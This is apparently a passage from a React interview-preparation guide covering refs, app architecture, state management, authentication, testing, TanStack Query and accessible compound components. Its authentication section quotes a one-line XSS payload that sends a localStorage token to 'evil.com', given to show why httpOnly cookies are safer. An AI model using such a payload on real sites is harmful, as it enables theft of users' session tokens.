<button onClick={() => isPlaying ? ref.current?.pause() : ref.current?.play()}>
{isPlaying ? "⏸" : "▶"}
</button>
</div>
</div>
);
});
// Parent uses the controlled API
function CoursePage() {
const playerRef = useRef(null);
const skipToHighlight = () => {
playerRef.current.seekTo(120); // jump to 2:00
playerRef.current.play();
};
return (
<div>
<VideoPlayer ref={playerRef} src="/lesson-1.mp4" poster="/thumb.jpg" />
<button onClick={skipToHighlight}>Skip to Key Concept</button>
<button onClick={() => playerRef.current.pause()}>Pause</button>
</div>
);
}
// ── React 19: ref as a regular prop (no forwardRef needed) ──
// React 19+:
function TextInput({ label, ref, ...props }) {
return (
<div className="form-field">
<label>{label}</label>
<input ref={ref} {...props} /> {/* ref is just a prop now! */}
</div>
);
}
// <TextInput ref={myRef} label="Email" /> — works without forwardRef
A design system library had a custom Select component. When product teams needed to programmatically open the dropdown or clear the selection, they reached into the DOM using querySelector — fragile and broke on component updates. Adding forwardRef + useImperativeHandle with open(), close(), clear(), and getValue() methods gave teams a stable, versioned API. DOM hacks dropped from 23 instances to zero across 5 product repos.
Candidates try to pass ref as a regular prop (pre-React 19) without forwardRef:
// ref is NOT passed through as a prop
function TextInput({ ref, label }) {
return <input ref={ref} />; // ref is undefined!
}
// Parent:
<TextInput ref={myRef} label="Email" />
// React silently drops the ref — myRef.current stays null
// No error, but focus() calls silently fail// React 18: forwardRef
const TextInput = forwardRef(function TextInput({ label }, ref) {
return <input ref={ref} />; // ref properly forwarded
});
// React 19: ref as regular prop (no forwardRef needed)
function TextInput({ label, ref }) {
return <input ref={ref} />; // works as a normal prop
}
// Both: <TextInput ref={myRef} label="Email" /> — works ✅When would you use useImperativeHandle versus just exposing the DOM node directly?
Architecting a large React app requires decisions about folder structure, state management layers, component organization, and coding conventions that keep the codebase maintainable as the team and features grow.
Folder structure approaches:
- Feature-based (recommended): Group by feature/domain — each folder contains its components, hooks, utils, tests, and types. Example:
features/auth/,features/dashboard/,features/checkout/ - Type-based (basic): Group by file type —
components/,hooks/,utils/. Works for small apps but becomes unwieldy at 50+ files per folder.
State management layers:
- Local state:
useState/useReducer— form inputs, UI toggles, component-specific data - Shared state: Context or Zustand — theme, auth, feature flags (used by multiple components)
- Server state: React Query/TanStack Query — API data with caching, refetching, pagination
- URL state: React Router — filters, pagination, current tab stored in URL
Key patterns: Presentational vs container components, custom hooks for logic, barrel exports (index.ts), co-located tests, absolute imports, and strict TypeScript.
// ── Feature-based folder structure (recommended) ──
/*
src/
├── app/ # App shell, providers, router
│ ├── App.tsx
│ ├── providers.tsx # Compose all providers
│ └── router.tsx # Route declarations
├── features/ # Feature modules (self-contained)
│ ├── auth/
│ │ ├── components/ # LoginForm, SignupForm, AuthGuard
│ │ ├── hooks/ # useAuth, useSession
│ │ ├── api/ # authApi.ts (API calls)
│ │ ├── store/ # authStore.ts (Zustand slice)
│ │ ├── types/ # auth.types.ts
│ │ ├── utils/ # tokenHelpers.ts
│ │ └── index.ts # Public API (barrel export)
│ ├── dashboard/
│ │ ├── components/
│ │ ├── hooks/
│ │ └── index.ts
│ └── checkout/
│ ├── components/
│ ├── hooks/
│ └── index.ts
├── shared/ # Cross-feature shared code
│ ├── components/ # Button, Modal, Table, Toast
│ ├── hooks/ # useFetch, useDebounce, useLocalStorage
│ ├── utils/ # formatCurrency, dateHelpers
│ └── types/ # global types
├── lib/ # Third-party wrappers
│ ├── axios.ts # Configured Axios instance
│ └── queryClient.ts # React Query client
└── assets/ # Images, fonts, global CSS
*/
// ── Barrel export: features/auth/index.ts ──
export { LoginForm } from "./components/LoginForm";
export { useAuth } from "./hooks/useAuth";
export type { User, AuthState } from "./types/auth.types";
// Other features import: import { useAuth, LoginForm } from "@/features/auth";
// ── State management layers ──
// Layer 1: Local state (component-specific)
function CheckoutForm() {
const [step, setStep] = useState(1); // UI state
const [form, setForm] = useState(initialForm); // form data
}
// Layer 2: Shared state (Zustand — cross-component)
import { create } from "zustand";
const useCartStore = create((set) => ({
items: [],
addItem: (item) => set(state => ({
items: [...state.items, item]
})),
total: 0,
}));
// Layer 3: Server state (React Query — API data)
function useProducts(category) {
return useQuery({
queryKey: ["products", category],
queryFn: () => api.get(`/products?category=${category}`),
staleTime: 5 * 60 * 1000, // cache for 5 min
});
}
// Layer 4: URL state (React Router)
function ProductFilters() {
const [searchParams, setSearchParams] = useSearchParams();
const category = searchParams.get("category") || "all";
const page = Number(searchParams.get("page")) || 1;
}
// ── Provider composition ──
function Providers({ children }) {
return (
<QueryClientProvider client={queryClient}>
<AuthProvider>
<ThemeProvider>
{children}
</ThemeProvider>
</AuthProvider>
</QueryClientProvider>
);
}
A team of 12 developers started with a flat components/ folder. At 200+ files, finding related code required searching across 5 folders. They restructured to feature-based modules — features/billing/, features/team/, features/settings/. New developers could onboard by focusing on one feature folder instead of understanding the entire codebase. Merge conflicts dropped by 60% because teams worked in separate feature folders.
Candidates put all state in global store or use Redux for everything:
// Redux store with 50 slices including UI state
const store = {
auth: { user, token },
theme: { mode: "dark" },
sidebar: { isOpen: true }, // ← UI state in global store!
modalVisible: false, // ← should be local state
searchQuery: "", // ← should be URL state
products: { data: [], loading }, // ← should be server state (React Query)
formData: { name: "", email: ""} // ← should be local state
};
// 80% of this state doesn't need to be global// Local: component-specific
const [sidebarOpen, setSidebarOpen] = useState(true);
const [formData, setFormData] = useState({ name: "", email: "" });
// Server: API data with caching
const { data: products } = useQuery({ queryKey: ["products"] });
// URL: shareable, bookmarkable state
const [searchParams] = useSearchParams(); // ?search=laptop&page=2
// Global: only truly shared state
const useAuthStore = create(...); // user, token, login, logout
const useThemeStore = create(...); // theme, toggleThemeHow do you implement a module federation or micro-frontend architecture in React?
Global state management in React means sharing data across many components that aren't directly connected via props. The choice depends on your app's complexity, update frequency, and team preferences.
Context API (built-in): Best for low-frequency updates (theme, auth, locale). Limitations: every context value change re-renders ALL consumers. No middleware, no devtools, no selector-based subscriptions.
Redux Toolkit: Industry standard for large apps. Provides predictable state with actions/reducers, middleware (thunks, sagas), DevTools, and time-travel debugging. Trade-off: more boilerplate, steeper learning curve.
Zustand: Minimal API, no boilerplate, no providers needed. Uses selectors for granular subscriptions (only re-renders when selected slice changes). Excellent for medium-to-large apps that don't need Redux's middleware ecosystem.
Jotai: Atomic state — each piece of state is an independent "atom." Components subscribe to specific atoms. No providers needed. Great for apps with many independent, granular state pieces (like a spreadsheet or canvas editor).
Decision guide:
- Simple app, few shared values → Context
- Medium app, several shared states → Zustand
- Large app, complex flows, many devs → Redux Toolkit
- Many independent state pieces → Jotai
// ── Context API: Simple theme ──
const ThemeContext = createContext();
function ThemeProvider({ children }) {
const [theme, setTheme] = useState("light");
return (
<ThemeContext.Provider value={{ theme, setTheme }}>
{children}
</ThemeContext.Provider>
);
}
const useTheme = () => useContext(ThemeContext);
// ⚠️ Every setTheme re-renders ALL consumers
// ── Redux Toolkit: Cart with middleware ──
import { createSlice, configureStore } from "@reduxjs/toolkit";
const cartSlice = createSlice({
name: "cart",
initialState: { items: [], total: 0 },
reducers: {
addItem(state, action) {
state.items.push(action.payload); // Immer allows "mutation"
state.total += action.payload.price;
},
removeItem(state, action) {
const idx = state.items.findIndex(i => i.id === action.payload);
if (idx !== -1) {
state.total -= state.items[idx].price;
state.items.splice(idx, 1);
}
},
},
});
const store = configureStore({ reducer: { cart: cartSlice.reducer } });
// Usage: dispatch(addItem({ id: 1, name: "Widget", price: 999 }));
// + DevTools, time-travel, middleware support
// ── Zustand: Minimal, no provider ──
import { create } from "zustand";
const useCartStore = create((set, get) => ({
items: [],
total: 0,
addItem: (item) => set(state => ({
items: [...state.items, item],
total: state.total + item.price,
})),
removeItem: (id) => set(state => {
const item = state.items.find(i => i.id === id);
return {
items: state.items.filter(i => i.id !== id),
total: state.total - (item?.price || 0),
};
}),
getItemCount: () => get().items.length,
}));
// Usage: selector-based subscription (granular re-renders!)
function CartBadge() {
const count = useCartStore(state => state.items.length);
// Only re-renders when items.length changes — not on total change!
return <span className="badge">{count}</span>;
}
function CartTotal() {
const total = useCartStore(state => state.total);
return <p>₹{total.toLocaleString()}</p>;
}
// No Provider needed! Just import and use.
// ── Jotai: Atomic state ──
import { atom, useAtom } from "jotai";
const countAtom = atom(0);
const doubledAtom = atom((get) => get(countAtom) * 2); // derived atom
function Counter() {
const [count, setCount] = useAtom(countAtom);
return <button onClick={() => setCount(c => c + 1)}>Count: {count}</button>;
}
function Display() {
const [doubled] = useAtom(doubledAtom);
return <p>Doubled: {doubled}</p>; // re-renders only when countAtom changes
}
// ── Comparison Table ──
// | Feature | Context | Redux TK | Zustand | Jotai |
// |-------------------|---------|----------|---------|-------|
// | Boilerplate | Low | Medium | Minimal | Low |
// | Bundle size | 0 KB | ~11 KB | ~1 KB | ~2 KB |
// | DevTools | ❌ | ✅ | ✅ | ✅ |
// | Selectors | ❌ | ✅ | ✅ | ✅ |
// | Middleware | ❌ | ✅ | ✅ | ❌ |
// | Provider needed | ✅ | ✅ | ❌ | ❌* |
// | Learning curve | Low | High | Low | Low |
A startup used Context for everything — user state, cart, notifications, and search filters. With 2,000 daily users and 15+ context consumers, every cart update re-rendered the entire notification panel, search bar, and user menu — causing visible jank on mid-range phones. Migrating cart and notifications to Zustand (with selectors) reduced unnecessary re-renders by 85%. They kept Context for theme and auth (which change rarely), and used React Query for all API data. Total refactor: 3 days, zero regressions.
Candidates use Redux for simple apps or Context for high-frequency updates:
// 5-file Redux setup for a counter:
// store.ts, counterSlice.ts, Provider wrapper, useSelector, useDispatch
// → 40+ lines of boilerplate for one number
// Also wrong: Context for real-time updates
const PriceContext = createContext();
// Stock price updates every 100ms → ALL consumers re-render
// Navbar, Footer, Sidebar re-render even if they don't show prices// Simple counter → useState
const [count, setCount] = useState(0);
// Real-time prices → Zustand with selectors
const usePriceStore = create((set) => ({
prices: {},
updatePrice: (symbol, price) => set(state => ({
prices: { ...state.prices, [symbol]: price }
})),
}));
// Only this component re-renders when AAPL changes:
const price = usePriceStore(state => state.prices["AAPL"]);How do you persist state across page refreshes with Zustand or Redux?
Authentication in React involves verifying user identity (login) and controlling access to routes/components based on auth state. The typical flow: user logs in → server returns a JWT (JSON Web Token) or session cookie → frontend stores the token → attaches it to API requests → restricts route access.
Key pieces:
- Auth state: Store user/token in Context, Zustand, or Redux. Persist in
httpOnlycookies (secure) orlocalStorage(convenient but XSS-vulnerable). - Protected routes: A wrapper component that checks auth state — redirects to login if unauthenticated, renders the page if authenticated.
- Token management: Attach JWT via
Authorization: Bearer <token>header on every API call. Refresh tokens before expiry using interceptors. - Role-based access: Check user roles/permissions to show/hide features or restrict routes (e.g., admin-only pages).
Security best practices:
- Store tokens in
httpOnlycookies (not accessible via JS — prevents XSS theft) - Use CSRF tokens if using cookies
- Implement token refresh with refresh tokens
- Always validate auth on the server — frontend auth is just UX, not security
// ── Auth Context + Provider ──
import { createContext, useContext, useState, useEffect } from "react";
const AuthContext = createContext(null);
export function AuthProvider({ children }) {
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true); // check existing session
// On mount: verify existing token/session
useEffect(() => {
const checkAuth = async () => {
try {
const res = await fetch("/api/auth/me", { credentials: "include" });
if (res.ok) {
const userData = await res.json();
setUser(userData);
}
} catch {
setUser(null);
} finally {
setLoading(false);
}
};
checkAuth();
}, []);
const login = async (email, password) => {
const res = await fetch("/api/auth/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email, password }),
credentials: "include", // sends/receives httpOnly cookies
});
if (!res.ok) throw new Error("Invalid credentials");
const userData = await res.json();
setUser(userData);
};
const logout = async () => {
await fetch("/api/auth/logout", { method: "POST", credentials: "include" });
setUser(null);
};
return (
<AuthContext.Provider value={{ user, login, logout, loading }}>
{children}
</AuthContext.Provider>
);
}
export const useAuth = () => useContext(AuthContext);
// ── Protected Route Component ──
import { Navigate, Outlet, useLocation } from "react-router-dom";
function ProtectedRoute({ requiredRole }) {
const { user, loading } = useAuth();
const location = useLocation();
if (loading) return <LoadingSpinner />;
if (!user) {
// Redirect to login, saving the attempted URL
return <Navigate to="/login" state={{ from: location }} replace />;
}
if (requiredRole && user.role !== requiredRole) {
return <Navigate to="/unauthorized" replace />;
}
return <Outlet />; // render the child route
}
// ── Route Configuration ──
import { BrowserRouter, Routes, Route } from "react-router-dom";
function App() {
return (
<AuthProvider>
<BrowserRouter>
<Routes>
{/* Public routes */}
<Route path="/login" element={<LoginPage />} />
<Route path="/signup" element={<SignupPage />} />
{/* Protected: any authenticated user */}
<Route element={<ProtectedRoute />}>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/profile" element={<Profile />} />
<Route path="/settings" element={<Settings />} />
</Route>
{/* Protected: admin only */}
<Route element={<ProtectedRoute requiredRole="admin" />}>
<Route path="/admin" element={<AdminPanel />} />
<Route path="/admin/users" element={<UserManagement />} />
</Route>
</Routes>
</BrowserRouter>
</AuthProvider>
);
}
// ── Axios Interceptor for Token Refresh ──
import axios from "axios";
const api = axios.create({ baseURL: "/api", withCredentials: true });
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
try {
await axios.post("/api/auth/refresh", {}, { withCredentials: true });
return api(originalRequest); // retry with new token
} catch {
window.location.href = "/login"; // refresh failed → force login
}
}
return Promise.reject(error);
}
);
A SaaS dashboard stored JWTs in localStorage. A security audit found an XSS vulnerability in a third-party rich text editor — an attacker could inject <script>fetch('evil.com', {body: localStorage.token})</script> and steal every user's token. Migration to httpOnly cookies (inaccessible to JavaScript) + CSRF tokens eliminated the attack vector entirely. The cookie approach required adding credentials: "include" to all fetch calls and configuring CORS on the server, but the 2-day effort prevented a potential data breach.
Candidates store tokens in localStorage (XSS risk) or only guard routes on the frontend:
// Storing token in localStorage — accessible to any JS (XSS attack)
const login = async (email, password) => {
const { token } = await api.post("/login", { email, password });
localStorage.setItem("token", token); // ❌ XSS can steal this
};
// Frontend-only protection — server doesn't check!
function AdminPage() {
const { user } = useAuth();
if (user.role !== "admin") return <p>Access Denied</p>;
// ❌ A user can just call the API directly and bypass this
return <AdminDashboard />;
}// Server sets httpOnly cookie (not accessible via document.cookie)
// POST /api/auth/login → Set-Cookie: token=xyz; HttpOnly; Secure; SameSite=Strict
// Frontend just includes credentials
const login = async (email, password) => {
await fetch("/api/auth/login", {
method: "POST",
credentials: "include", // cookie sent automatically
body: JSON.stringify({ email, password }),
});
};
// Server middleware validates on EVERY API call
// app.use("/api/admin/*", requireRole("admin"));
// Frontend route guard is just UX — real security is server-sideHow do you implement OAuth2 / social login (Google, GitHub) in a React application?
React testing follows a testing pyramid: many unit tests, fewer integration tests, and a handful of end-to-end (E2E) tests.
Unit tests (Jest + React Testing Library): Test individual components in isolation. Render a component, simulate user interactions, assert on the DOM output. Focus on behavior, not implementation details — test what the user sees and does, not internal state.
Integration tests (React Testing Library): Test multiple components working together — a form with validation, a page with data fetching and filters. Mock API calls with msw (Mock Service Worker) to simulate realistic server responses.
E2E tests (Playwright / Cypress): Test the entire app in a real browser — login, navigate, fill forms, verify results. Slowest but highest confidence. Run against a staging environment.
Key principles:
- Test behavior, not implementation: Don't test state values or hook calls. Test what the user sees.
- Use accessible queries:
getByRole,getByLabelText,getByText— notgetByTestId(last resort). - Avoid testing library internals: Don't test React itself — test YOUR logic.
- Arrange → Act → Assert: Set up → do something → check the result.
Query priority (React Testing Library): getByRole > getByLabelText > getByPlaceholderText > getByText > getByDisplayValue > getByAltText > getByTitle > getByTestId
// ── Unit Test: Button component ──
import { render, screen, fireEvent } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { Counter } from "./Counter";
describe("Counter", () => {
test("renders initial count of 0", () => {
render(<Counter />);
expect(screen.getByText("Count: 0")).toBeInTheDocument();
});
test("increments count when button is clicked", async () => {
const user = userEvent.setup();
render(<Counter />);
const button = screen.getByRole("button", { name: /increment/i });
await user.click(button);
expect(screen.getByText("Count: 1")).toBeInTheDocument();
});
test("calls onChange callback with new count", async () => {
const handleChange = jest.fn();
const user = userEvent.setup();
render(<Counter onChange={handleChange} />);
await user.click(screen.getByRole("button", { name: /increment/i }));
expect(handleChange).toHaveBeenCalledWith(1);
});
});
// ── Integration Test: Login form with API ──
import { rest } from "msw";
import { setupServer } from "msw/node";
import { render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { LoginForm } from "./LoginForm";
// Mock API with MSW
const server = setupServer(
rest.post("/api/auth/login", (req, res, ctx) => {
const { email, password } = req.body;
if (email === "user@test.com" && password === "pass123") {
return res(ctx.json({ user: { name: "Test User" }, token: "abc" }));
}
return res(ctx.status(401), ctx.json({ error: "Invalid credentials" }));
})
);
beforeAll(() => server.listen());
afterEach(() => server.resetHandlers());
afterAll(() => server.close());
describe("LoginForm", () => {
test("successful login redirects to dashboard", async () => {
const user = userEvent.setup();
const onSuccess = jest.fn();
render(<LoginForm onSuccess={onSuccess} />);
await user.type(screen.getByLabelText(/email/i), "user@test.com");
await user.type(screen.getByLabelText(/password/i), "pass123");
await user.click(screen.getByRole("button", { name: /log in/i }));
await waitFor(() => {
expect(onSuccess).toHaveBeenCalledWith({ name: "Test User" });
});
});
test("shows error on invalid credentials", async () => {
const user = userEvent.setup();
render(<LoginForm onSuccess={jest.fn()} />);
await user.type(screen.getByLabelText(/email/i), "wrong@test.com");
await user.type(screen.getByLabelText(/password/i), "wrongpass");
await user.click(screen.getByRole("button", { name: /log in/i }));
expect(await screen.findByText(/invalid credentials/i)).toBeInTheDocument();
});
test("disables submit button while loading", async () => {
const user = userEvent.setup();
render(<LoginForm onSuccess={jest.fn()} />);
await user.type(screen.getByLabelText(/email/i), "user@test.com");
await user.type(screen.getByLabelText(/password/i), "pass123");
await user.click(screen.getByRole("button", { name: /log in/i }));
expect(screen.getByRole("button", { name: /logging in/i })).toBeDisabled();
});
});
// ── Custom Hook Test ──
import { renderHook, act } from "@testing-library/react";
import { useCounter } from "./useCounter";
test("useCounter increments and decrements", () => {
const { result } = renderHook(() => useCounter(0));
act(() => result.current.increment());
expect(result.current.count).toBe(1);
act(() => result.current.decrement());
expect(result.current.count).toBe(0);
});
// ── E2E Test (Playwright) ──
import { test, expect } from "@playwright/test";
test("user can login and see dashboard", async ({ page }) => {
await page.goto("/login");
await page.getByLabel("Email").fill("user@test.com");
await page.getByLabel("Password").fill("pass123");
await page.getByRole("button", { name: "Log In" }).click();
await expect(page).toHaveURL("/dashboard");
await expect(page.getByText("Welcome, Test User")).toBeVisible();
});
A team had 400 tests but all used getByTestId — when they refactored component markup, 200 tests broke despite zero behavior changes. After switching to getByRole and getByLabelText, tests became resilient to markup changes. They also replaced manual API mocks (jest.mock("axios")) with MSW, which intercepted at the network level — catching bugs where components used fetch instead of the mocked Axios instance.
Candidates test implementation details or use wrong queries:
test("counter state updates", () => {
const { result } = renderHook(() => useState(0));
// Testing React's useState — not YOUR code
const wrapper = render(<Counter />);
// ❌ Testing internal state
expect(wrapper.instance().state.count).toBe(0);
// ❌ Using getByTestId as first choice
const btn = screen.getByTestId("increment-btn");
// This breaks if someone removes data-testid
});test("counter displays 0 and increments on click", async () => {
const user = userEvent.setup();
render(<Counter />);
// ✅ Test what the USER sees
expect(screen.getByText("Count: 0")).toBeInTheDocument();
// ✅ Use accessible query (role + name)
await user.click(screen.getByRole("button", { name: /increment/i }));
// ✅ Assert on visible output
expect(screen.getByText("Count: 1")).toBeInTheDocument();
});How do you achieve meaningful code coverage without just chasing percentage numbers?
TanStack Query (React Query) is the standard library for server state management in React. It handles fetching, caching, synchronizing, and updating server data — replacing manual useEffect + useState patterns that lead to loading/error/stale state bugs.
Core concepts:
- Queries (
useQuery): Fetch and cache data. Automatically handles loading, error, and success states. Returns{ data, isLoading, error, refetch }. - Query Keys: Unique identifiers for cached data. Array format:
["todos", { status: "done" }]. Key changes trigger refetch. - Mutations (
useMutation): For create/update/delete operations. ProvidesonSuccess,onError,onSettledcallbacks. - Cache invalidation: After a mutation, invalidate related queries to refetch fresh data:
queryClient.invalidateQueries(["todos"]). - Stale-while-revalidate: Show cached (stale) data immediately while fetching fresh data in background. Controlled by
staleTime.
Key config:
staleTime: How long data is considered fresh (default: 0 = always stale)gcTime(cacheTime): How long unused data stays in cache (default: 5 min)refetchOnWindowFocus: Refetch when user returns to tab (default: true)retry: Number of retries on failure (default: 3)
// ── Setup: QueryClient Provider ──
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { ReactQueryDevtools } from "@tanstack/react-query-devtools";
const queryClient = new QueryClient({
defaultOptions: {
queries: {
staleTime: 5 * 60 * 1000, // 5 minutes — data is fresh for 5 min
gcTime: 10 * 60 * 1000, // 10 minutes — cached data lives 10 min
retry: 2, // retry failed requests twice
refetchOnWindowFocus: true, // refetch when tab regains focus
},
},
});
function App() {
return (
<QueryClientProvider client={queryClient}>
<Router />
<ReactQueryDevtools /> {/* DevTools panel */}
</QueryClientProvider>
);
}
// ── useQuery: Fetch and cache data ──
import { useQuery } from "@tanstack/react-query";
function ProductList({ category }) {
const {
data: products,
isLoading,
error,
isFetching, // true when refetching in background
} = useQuery({
queryKey: ["products", category], // refetches when category changes
queryFn: () => fetch(`/api/products?cat=${category}`).then(r => r.json()),
staleTime: 60_000, // override: fresh for 1 minute
placeholderData: (previousData) => previousData, // keep old data while fetching new category
});
if (isLoading) return <Skeleton count={6} />;
if (error) return <ErrorMessage error={error} />;
return (
<div>
{isFetching && <RefreshIndicator />} {/* subtle spinner for background refetch */}
{products.map(p => <ProductCard key={p.id} product={p} />)}
</div>
);
}
// ── useMutation: Create/Update/Delete with cache invalidation ──
import { useMutation, useQueryClient } from "@tanstack/react-query";
function AddProductForm() {
const queryClient = useQueryClient();
const addProduct = useMutation({
mutationFn: (newProduct) =>
fetch("/api/products", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(newProduct),
}).then(r => r.json()),
// Optimistic update: update UI before server responds
onMutate: async (newProduct) => {
await queryClient.cancelQueries({ queryKey: ["products"] });
const previous = queryClient.getQueryData(["products"]);
queryClient.setQueryData(["products"], (old) => [
...old,
{ ...newProduct, id: "temp-" + Date.now() },
]);
return { previous }; // context for rollback
},
onError: (err, newProduct, context) => {
// Rollback on error
queryClient.setQueryData(["products"], context.previous);
toast.error("Failed to add product");
},
onSuccess: (data) => {
toast.success(`Added: ${data.name}`);
},
onSettled: () => {
// Always refetch to sync with server
queryClient.invalidateQueries({ queryKey: ["products"] });
},
});
const handleSubmit = (formData) => {
addProduct.mutate(formData);
};
return (
<form onSubmit={handleSubmit}>
{/* form fields */}
<button type="submit" disabled={addProduct.isPending}>
{addProduct.isPending ? "Adding..." : "Add Product"}
</button>
</form>
);
}
// ── Pagination with useQuery ──
function PaginatedProducts() {
const [page, setPage] = useState(1);
const { data, isPlaceholderData } = useQuery({
queryKey: ["products", "list", page],
queryFn: () => fetch(`/api/products?page=${page}&limit=20`).then(r => r.json()),
placeholderData: (prev) => prev, // keep previous page data while loading next
});
return (
<div style={{ opacity: isPlaceholderData ? 0.5 : 1 }}>
{data?.products.map(p => <ProductCard key={p.id} product={p} />)}
<button onClick={() => setPage(p => p - 1)} disabled={page === 1}>Prev</button>
<span>Page {page}</span>
<button onClick={() => setPage(p => p + 1)} disabled={isPlaceholderData || !data?.hasMore}>Next</button>
</div>
);
}
A dashboard had 12 components each calling useEffect + fetch + useState independently. Three components fetched the same /api/user endpoint — making 3 duplicate requests on every page load. React Query's shared cache eliminated duplicate requests (1 fetch, 3 consumers). Adding staleTime: 5 * 60 * 1000 meant navigating between pages reused cached data instantly — perceived load time dropped from 800ms to near-zero for cached routes. Optimistic updates on the todo list made CRUD feel instant.
Candidates put fetch calls in useEffect and manually manage loading/error state:
function ProductList() {
const [products, setProducts] = useState([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
setLoading(true);
fetch("/api/products")
.then(r => r.json())
.then(data => { setProducts(data); setLoading(false); })
.catch(err => { setError(err); setLoading(false); });
}, []);
// ❌ No caching, no refetch on focus, no deduplication
// ❌ Race condition if component unmounts during fetch
// ❌ Every component fetching same data = duplicate requests
}function ProductList() {
const { data: products, isLoading, error } = useQuery({
queryKey: ["products"],
queryFn: () => fetch("/api/products").then(r => r.json()),
});
// ✅ Automatic caching, deduplication, refetch on focus
// ✅ No race conditions — React Query handles cleanup
// ✅ 3 components using same queryKey = 1 network request
}How do you implement infinite scroll with useInfiniteQuery?
The compound component pattern creates a set of components that work together to form a complete UI element — sharing implicit state while giving consumers full control over structure and rendering. Think of <select> + <option> in HTML — they're separate elements but work as a unit.
How it works: A parent component manages state (via Context) and child components consume that state. Consumers compose the children in any order, add custom markup between them, or omit pieces entirely — unlike a single monolithic component with 20 props.
Examples: <Tabs> + <Tab> + <TabPanel>, <Accordion> + <AccordionItem>, <Menu> + <MenuItem>, <Select> + <Option>
Accessibility (a11y) essentials for component libraries:
- ARIA roles:
role="tablist",role="tab",role="tabpanel" - ARIA attributes:
aria-selected,aria-controls,aria-expanded,aria-labelledby - Keyboard navigation: Arrow keys for tabs/menus, Enter/Space for activation, Escape to close
- Focus management: Trap focus in modals, return focus on close, visible focus indicators
- WAI-ARIA patterns: Follow the WAI-ARIA Authoring Practices for each widget type
// ── Compound Component: Accessible Tabs ──
import { createContext, useContext, useState, useRef, useId } from "react";
// 1. Shared context for implicit state
const TabsContext = createContext();
// 2. Parent: manages state
function Tabs({ defaultValue, children, onChange }) {
const [activeTab, setActiveTab] = useState(defaultValue);
const id = useId(); // unique prefix for ARIA IDs
const selectTab = (value) => {
setActiveTab(value);
onChange?.(value);
};
return (
<TabsContext.Provider value={{ activeTab, selectTab, id }}>
<div className="tabs">{children}</div>
</TabsContext.Provider>
);
}
// 3. TabList: container with keyboard navigation
function TabList({ children, label }) {
const tabsRef = useRef(null);
const handleKeyDown = (e) => {
const tabs = tabsRef.current?.querySelectorAll('[role="tab"]');
if (!tabs) return;
const currentIdx = Array.from(tabs).findIndex(t => t === document.activeElement);
let nextIdx;
switch (e.key) {
case "ArrowRight": nextIdx = (currentIdx + 1) % tabs.length; break;
case "ArrowLeft": nextIdx = (currentIdx - 1 + tabs.length) % tabs.length; break;
case "Home": nextIdx = 0; break;
case "End": nextIdx = tabs.length - 1; break;
default: return;
}
e.preventDefault();
tabs[nextIdx].focus();
};
return (
<div ref={tabsRef} role="tablist" aria-label={label} onKeyDown={handleKeyDown}>
{children}
</div>
);
}
// 4. Tab: individual tab button
function Tab({ value, children }) {
const { activeTab, selectTab, id } = useContext(TabsContext);
const isActive = activeTab === value;
return (
<button
role="tab"
id={`${id}-tab-${value}`}
aria-selected={isActive}
aria-controls={`${id}-panel-${value}`}
tabIndex={isActive ? 0 : -1}
onClick={() => selectTab(value)}
className={isActive ? "tab active" : "tab"}
>
{children}
</button>
);
}
// 5. TabPanel: content panel
function TabPanel({ value, children }) {
const { activeTab, id } = useContext(TabsContext);
if (activeTab !== value) return null;
return (
<div
role="tabpanel"
id={`${id}-panel-${value}`}
aria-labelledby={`${id}-tab-${value}`}
tabIndex={0}
>
{children}
</div>
);
}
// Attach sub-components to parent (dot notation)
Tabs.List = TabList;
Tabs.Tab = Tab;
Tabs.Panel = TabPanel;
// ── Usage: Flexible, accessible, composable ──
function SettingsPage() {
return (
<Tabs defaultValue="general" onChange={(tab) => console.log("Tab:", tab)}>
<Tabs.List label="Settings sections">
<Tabs.Tab value="general">⚙️ General</Tabs.Tab>
<Tabs.Tab value="security">🔒 Security</Tabs.Tab>
<Tabs.Tab value="billing">💳 Billing</Tabs.Tab>
</Tabs.List>
<Tabs.Panel value="general">
<h2>General Settings</h2>
<p>Name, email, language preferences...</p>
</Tabs.Panel>
{/* Add custom content between panels */}
<div className="divider" />
<Tabs.Panel value="security">
<h2>Security Settings</h2>
<p>Password, 2FA, sessions...</p>
</Tabs.Panel>
<Tabs.Panel value="billing">
<h2>Billing</h2>
<p>Plans, invoices, payment methods...</p>
</Tabs.Panel>
</Tabs>
);
}
// ── Compare: Monolithic vs Compound ──
// ❌ Monolithic: One component, many props — inflexible
// <Tabs tabs={[{label, content, icon}]} variant="underline" onTabChange={} />
// ✅ Compound: Composable, flexible, each piece customizable
// <Tabs><Tabs.Tab><Tabs.Panel> — add markup anywhere
A design system had a monolithic <DataTable> component with 35 props — columns, data, sortable, filterable, pagination, selectable, etc. Every new feature added another prop and increased complexity. Refactoring to compound components — <Table>, <Table.Header>, <Table.Body>, <Table.Row>, <Table.Pagination> — let teams compose exactly the table they needed. Teams that didn't need pagination just omitted <Table.Pagination>. The component went from 1,200 lines to 6 focused files totaling 800 lines, and feature requests dropped 70% because teams could customize freely.
Candidates build monolithic components with dozens of props or skip accessibility:
<Tabs
tabs={[
{ label: "General", content: <General />, icon: "⚙️" },
{ label: "Security", content: <Security />, icon: "🔒" },
]}
activeTab={0}
onChange={setTab}
variant="underline"
size="md"
/>
// ❌ Can't add custom markup between tabs and panels
// ❌ No ARIA roles, no keyboard navigation
// ❌ Adding features = more props = API bloat<Tabs defaultValue="general">
<Tabs.List label="Settings"> {/* role="tablist" */}
<Tabs.Tab value="general">⚙️ General</Tabs.Tab> {/* role="tab" */}
<Tabs.Tab value="security">🔒 Security</Tabs.Tab>
</Tabs.List>
<div className="custom-divider" /> {/* custom markup — try this with props! */}
<Tabs.Panel value="general">...</Tabs.Panel> {/* role="tabpanel" */}
<Tabs.Panel value="security">...</Tabs.Panel>
</Tabs>
{/* ✅ Arrow key navigation, aria-selected, aria-controls, focus management */}How do libraries like Radix UI and Headless UI implement unstyled, accessible compound components?
Next.js is the dominant React meta-framework that provides Server-Side Rendering (SSR), Static Site Generation (SSG), and Incremental Static Regeneration (ISR) out of the box.
